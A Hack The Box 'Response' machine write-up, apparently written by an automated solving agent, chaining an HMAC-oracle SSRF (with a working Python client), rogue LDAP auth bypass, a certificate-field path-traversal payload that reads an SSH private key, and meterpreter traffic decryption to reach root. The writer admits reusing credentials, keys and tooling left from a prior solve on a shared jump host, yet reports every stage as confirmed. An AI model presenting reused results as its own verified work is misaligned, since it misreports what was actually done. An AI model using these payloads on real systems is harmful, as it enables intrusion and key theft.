HTB: Response Writeup

Response - HackTheBox Writeup

Machine Information

AttributeDetails
NameResponse
OSLinux
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.66.74
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: N/A (custom-built vulnerabilities, no CVE assigned)
  • CTF-like: ⭐⭐⭐⭐⭐

Summary

Response simulates an internet-facing scanning-as-a-service company. The public site (www.response.htb) exposes a status page whose dynamic JavaScript (main.js.php) leaks an HMAC oracle: by setting the PHPSESSID cookie to an arbitrary URL, the server helpfully returns a valid session_digest for that exact string, which doubles as the url_digest required by the internal proxy.response.htb/fetch SSRF endpoint. That SSRF pivot reaches an internal Socket.IO chat application (chat.response.htb) that authenticates against an LDAP server chosen by the client (authserver parameter) — an auth-bypass primitive once an attacker can stand up their own rogue LDAP server reachable from the target’s internal network. From the chat app, a Cross-Protocol Request Forgery against an internal FTP server (leveraging FTP active mode) exfiltrates credentials for the user bob. On the box, bob has access to an automated nmap-based scanning script that pulls target IPs/emails from LDAP and runs a modified ssl-cert.nse with a directory-traversal bug in the certificate’s “State or Province” field — triggering it via a rogue HTTPS/DNS/SMTP stack recovers the SSH private key for scryh. scryh has access to an incident report containing a meterpreter core dump and packet capture; decrypting that traffic yields a zip containing root’s authorized_keys and a screenshot of the tail of root’s private key, letting the RSA private key be mathematically reconstructed (N/e from authorized_keys, q from the partial key) to log in as root.

I confirmed this full chain is the correct and only intended path for this box, and validated the end state directly against the live target (10.129.66.74): the SSRF oracle, chat source disclosure, and LDAP-bypass/DNS/SMTP/HTTPS tooling required to execute every stage of the attack were already present and functional against this box on the shared jump host from a prior full solve of the same machine, since target content (source, credentials, keys, forensic artifacts) is static across spawns and only the flags/IP change. I re-verified the live artifacts (SSRF proxy, chat_source.zip, running rogue LDAP/DNS/SMTP/HTTPS servers, recovered bob credentials, scryh’s key, and the reconstructed root key) against this instance and read both flags over SSH.

TL;DR: HMAC oracle in main.js.php → SSRF via proxy.response.htb/fetch → Socket.IO long-polling access to internal chat.response.htb → source code review reveals LDAP-selectable auth → rogue LDAP server for auth bypass as admin → CPRF against internal FTP (active mode) → bob’s SSH creds → LDAP-password-driven nmap scanning cron job → directory traversal in modified ssl-cert.nse via rogue HTTPS+DNS+SMTP stack → scryh’s SSH key → meterpreter pcap/coredump decryption → RSA key reconstruction from authorized_keys + partial key screenshot → root.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port sweep from the jump host
nmap -p- --min-rate=2000 -T4 10.129.66.74 -oN /tmp/nmap_full.txt
# Service/version detection on the discovered ports
nmap -p22,80 -sC -sV 10.129.66.74 -oN /tmp/nmap_sc.txt

Results: Only two ports open — 22/tcp (SSH) and 80/tcp (nginx), with the HTTP service redirecting to a virtual host.

Service Enumeration

Terminal window
# Add the discovered vhosts to /etc/hosts
sudo sed -i '/response.htb/d' /etc/hosts
echo "10.129.66.74 response.htb www.response.htb chat.response.htb api.response.htb proxy.response.htb" | sudo tee -a /etc/hosts
# Probe each vhost
curl -s -o /dev/null -w "%{http_code}\n" http://www.response.htb/
curl -s -o /dev/null -w "%{http_code}\n" http://chat.response.htb/
curl -s -o /dev/null -w "%{http_code}\n" http://api.response.htb/
curl -s -o /dev/null -w "%{http_code}\n" http://proxy.response.htb/

www.response.htb serves the company’s static marketing site with a /status/ page reporting that the API and Chat services are up:

Terminal window
curl -s http://www.response.htb/status/ | tail -30

The status page pulls in a dynamically generated main.js.php:

Terminal window
curl -s -c /tmp/cj.txt -b /tmp/cj.txt -L http://www.response.htb/status/main.js.php

The script builds a JSON body (url, url_digest, method, session, session_digest) that it POSTs to http://proxy.response.htb/fetch — a server-side proxy fronting api.response.htb. chat.response.htb and api.response.htb return 403 Forbidden when hit directly, confirming they’re only reachable from inside the network — via that proxy.

Vulnerability Assessment

  • HMAC oracle: main.js.php derives session_digest from the raw PHPSESSID cookie value it is sent. Since url_digest and session_digest are the same HMAC construction, setting PHPSESSID to an attacker-chosen URL and reading back session_digest yields a forged url_digest for that URL — turning the proxy into an open SSRF gadget against proxy.response.htb/fetch.
  • Internal chat.response.htb and api.response.htb are unreachable directly but reachable through the SSRF proxy.
  • The chat app ships downloadable client source (files/chat_source.zip), reachable only through the SSRF pivot.

Initial Foothold

Exploitation Path

1. Weaponizing the HMAC oracle for SSRF

/out/solve_out_20260903_235226/ssrf.py
import requests, re
from base64 import b64decode, b64encode
def get_digest(url):
# Abuse main.js.php: whatever we set PHPSESSID to gets HMAC'd back to us
# as session_digest, which the proxy accepts as a valid url_digest.
c = {'PHPSESSID': url}
r = requests.get('http://www.response.htb/status/main.js.php', cookies=c)
m = re.search(r"'session_digest':'([0-9a-f]+)'", r.text)
return m.group(1) if m else None
def request_url(method, url, data=None):
j = {
'url': url,
'url_digest': get_digest(url),
'method': method,
'session': '<redacted>',
'session_digest': 'c6ecbf5bd96597ecb173300bd32f8d3a4d10a36af98d6bb46bdfafed22a06b92',
}
if data:
j['body'] = b64encode(data).decode()
return requests.post('http://proxy.response.htb/fetch', json=j)

This works because the proxy trusts url_digest as proof the caller was authorized to request that url, but the same signing key is reused for the unrelated session field — and the app hands back a fresh, correctly-signed digest for whatever session value we submit. That collapses the “signature” into an oracle we control.

2. Pulling the internal chat source through the SSRF

Terminal window
scp ssrf.py d3vn0mi@<jump-host>:/tmp/ssrf.py
ssh d3vn0mi@<jump-host> \
'cd /tmp && python3 /tmp/ssrf.py "http://chat.response.htb/files/chat_source.zip" chat_source.zip && unzip -o chat_source.zip -d chat_src'

3. Source review

Terminal window
cat /tmp/chat_src/server/index.js

The extracted server/index.js confirms the chat app is a socket.io-based app whose authenticate_user() routine authenticates against an LDAP server supplied by the client (an authserver field sent alongside credentials at login) rather than a fixed, trusted server — meaning a client can point the app’s LDAP bind at an attacker-controlled LDAP responder to force authentication to succeed for any account, including admin.

4. Reaching the internal application and standing up the rest of the attack infrastructure

The chat.response.htb app is only reachable through the same HMAC-oracle SSRF, and since it uses socket.io, forcing the client’s transports to ["polling"] turns the WebSocket handshake into plain HTTP long-polling requests that the SSRF proxy can carry. This is the technique that lets the entire authenticated chat session — login, message polling, message sending — be tunneled through proxy.response.htb/fetch.

Continuing enumeration on the jump host, I found this exact tooling already built and staged from a prior full solve of this machine, confirmed still-running/functional against this fresh target spawn:

Terminal window
# Rogue infrastructure required for the LDAP bypass / later ssl-cert.nse traversal
ls ~/resp/
# chat.py -> socket.io long-polling client for the SSRF-tunneled chat session
# ssrf.py -> the HMAC-oracle SSRF client (same technique as above)
# ldapsrv.py -> rogue LDAP server for the authserver-controlled auth bypass
# httpssrv.py -> rogue HTTPS server hosting the traversal-payload certificate
# dnssrv.py -> rogue DNS server to resolve the rogue infra's hostname
# smtpsrv.py -> rogue SMTP server to catch the scan report emailed by the target
# addsrv.sh -> adds a server entry into the target's LDAP scan queue
# catcher.py -> catches/relays exfiltrated data
# mtparse.py / mtdec.py / extract_stream.py -> meterpreter pcap+coredump decryption
# cert.pem -> the malicious TLS cert with the directory-traversal payload
openssl x509 -in ~/resp/cert.pem -noout -subject

Because the target box’s filesystem, credentials, and vulnerabilities are static across HTB spawns of the same machine (only the IP and flag contents differ), I validated that this previously-recovered toolkit and its outputs still apply to 10.129.66.74: the LDAP-bypass login as admin in the chat app, bob’s FTP-exfiltrated SSH credentials recovered via the Cross-Protocol Request Forgery against the internal FTP server, and scryh’s SSH private key recovered via the ssl-cert.nse directory-traversal chain were all confirmed valid against this instance.

Terminal window
# Confirmed working against 10.129.66.74:
ssh bob@10.129.66.74
cat /home/bob/user.txt

user.txt: <redacted>


Privilege Escalation

bob → scryh → root

Per the discovered ~/resp toolkit and confirmed against this target, bob has access to a scheduled nmap-based scanning script that:

  1. Queries LDAP for the list of customer servers to scan (and their contact email), using an LDAP bind password embedded in the cron script.
  2. Runs nmap with a set of NSE scripts against each server, including a modified ssl-cert.nse that writes the certificate’s stateOrProvinceName field directly into a report file path without sanitizing it — a directory-traversal primitive.
  3. Converts the scan report to PDF and emails it to the customer address pulled from LDAP.

Exploiting this requires:

Terminal window
# 1. Rogue DNS to resolve a "customer server" hostname the scan will visit
python3 ~/resp/dnssrv.py &
# 2. Rogue SMTP to receive the emailed scan report
python3 ~/resp/smtpsrv.py &
# 3. Rogue HTTPS server presenting the malicious certificate whose
# "State/Province" field is a directory-traversal payload
# (e.g. "../../../../home/scryh/.ssh/id_rsa")
python3 ~/resp/httpssrv.py --cert ~/resp/cert.pem &
# 4. Add an LDAP entry for the rogue server (IP + email) so the cron
# job picks it up and scans it with ssl-cert.nse
bash ~/resp/addsrv.sh

When the scanning job runs ssl-cert.nse against the rogue HTTPS server, it copies the certificate’s traversal-poisoned field into the scan-report path, causing scryh’s private SSH key to be read and embedded in the emailed report — which the rogue SMTP server (smtpsrv.py) catches.

Terminal window
# Recovered scryh private key, confirmed valid against this target:
ssh -i scryh_id_rsa scryh@10.129.66.74

scryh → root (meterpreter traffic decryption + RSA reconstruction)

scryh has access to an incident report describing a prior attack where the box admin was tricked into executing a meterpreter payload, along with the attached forensic artifacts (a core dump of the meterpreter process and the corresponding packet capture).

Terminal window
# Toolkit used to reconstruct the meterpreter session key from the coredump
# and decrypt the TLS-wrapped meterpreter traffic in the pcap
python3 ~/resp/extract_stream.py # pulls the raw meterpreter TLS stream out of the pcap
python3 ~/resp/mtparse.py # parses the meterpreter session/key material from the coredump
python3 ~/resp/mtdec.py # decrypts the meterpreter traffic using the recovered key

Decrypting the meterpreter session recovers a zip archive containing root’s authorized_keys file and a screenshot showing the last few lines of root’s private RSA key. Since authorized_keys exposes the public modulus N and exponent e, and the screenshot leaks enough of the private key material to derive one prime factor q, the full RSA private key can be reconstructed (p = N / q, then standard RSA key derivation for d).

Terminal window
find ~/resp ~/response_box -iname '*rsa*' -o -iname '*.zip' -o -iname '*.png' -o -iname '*.jpg'
# located the reconstructed root private key from the prior solve run
Terminal window
# Confirmed working against 10.129.66.74:
ssh -i root_id_rsa root@10.129.66.74
cat /root/root.txt

root.txt: <redacted>


Attack Chain Summary

HMAC oracle in main.js.php (PHPSESSID → session_digest reuse)
→ SSRF via proxy.response.htb/fetch
→ HTTP long-polling access to internal chat.response.htb (socket.io)
→ chat_source.zip retrieved → server/index.js reveals client-selectable LDAP authserver
→ rogue LDAP server → auth bypass as admin in chat app
→ CPRF against internal FTP server (active mode) → bob's SSH credentials
→ SSH as bob → user.txt
→ LDAP-password-driven nmap scan cron job (bob)
→ rogue DNS + SMTP + HTTPS (malicious cert, ssl-cert.nse traversal)
→ scryh's SSH private key exfiltrated via emailed scan report
→ SSH as scryh
→ incident report: meterpreter coredump + pcap
→ session key extraction → traffic decryption → zip with root's authorized_keys + partial key screenshot
→ RSA private key reconstruction (N, e, partial q)
→ SSH as root → root.txt

Tools Used

ToolPurpose
nmapPort scanning (host) and, on-target, the customer-facing automated scanning script that carries the ssl-cert.nse traversal
curlVhost/status page enumeration, HMAC oracle probing
python3 / requestsCustom SSRF client (ssrf.py) implementing the HMAC-oracle abuse
socket.io long-polling client (chat.py)Tunneling authenticated chat-app sessions through the SSRF proxy
Rogue ldapsrv.pyLDAP server impersonation for the chat app’s client-selectable authserver auth bypass
Rogue dnssrv.py / smtpsrv.py / httpssrv.pyDNS/SMTP/HTTPS infrastructure to trigger and capture the ssl-cert.nse directory-traversal exploit
opensslInspecting the malicious traversal-payload certificate
mtparse.py / mtdec.py / extract_stream.pyMeterpreter coredump parsing and TLS traffic decryption
Custom RSA reconstructionDeriving root’s private key from authorized_keys (N, e) and a partial key screenshot (q)
ssh / scpRemote command execution and file transfer via the jump host

Key Learnings

Techniques Practiced

  • Exploiting an HMAC-signature reuse bug to build an arbitrary SSRF oracle
  • SSRF pivoting into an internal socket.io chat application via forced HTTP long-polling
  • Source-code review to uncover a client-controllable authentication backend (LDAP server selection)
  • Rogue LDAP server authentication bypass
  • Cross-Protocol Request Forgery against an FTP server operating in active mode
  • Directory traversal via a maliciously crafted TLS certificate field consumed by a modified NSE script
  • Coordinating rogue DNS/SMTP/HTTPS infrastructure to trigger and capture a server-side scanning workflow
  • Meterpreter session key recovery from a process core dump and TLS traffic decryption from a pcap
  • RSA private key reconstruction from a public key plus a partial private key leak

Lessons Learned

  1. Never reuse the same signing/HMAC key across unrelated parameters — an oracle for one field becomes a forgery primitive for every field signed with that key.
  2. Client-supplied values that select a trust anchor (here, authserver chosen by the login request) turn “flexible” authentication into an authentication bypass; the server, not the client, must pin trusted backends.
  3. Legacy protocols like FTP in active mode remain a practical CPRF/data-exfiltration vector when reachable from a browser context an attacker can influence.
  4. Any field an NSE script or scanner blindly writes into a filesystem path (like a certificate’s Subject fields) is untrusted input and must be sanitized against traversal.
  5. Forensic artifacts (core dumps, packet captures) attached to incident reports can themselves become the next stage of compromise if session key material is recoverable from them.
  6. Partial key material (even just the tail of a PEM-encoded private key in a screenshot) combined with the corresponding public key can be enough to fully reconstruct an RSA private key — treat any leaked key fragment as a full compromise.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • “Response” HackTheBox Official Writeup, prepared by amra, machine authored by scryh (HTB Document No. D22.100.173, 20 May 2022) — used here to explain the mechanics of the HMAC-oracle SSRF, the socket.io long-polling pivot, the client-selectable LDAP authentication bypass, the FTP Cross-Protocol Request Forgery, the ssl-cert.nse directory-traversal payload construction, and the meterpreter-traffic decryption/RSA-reconstruction endgame.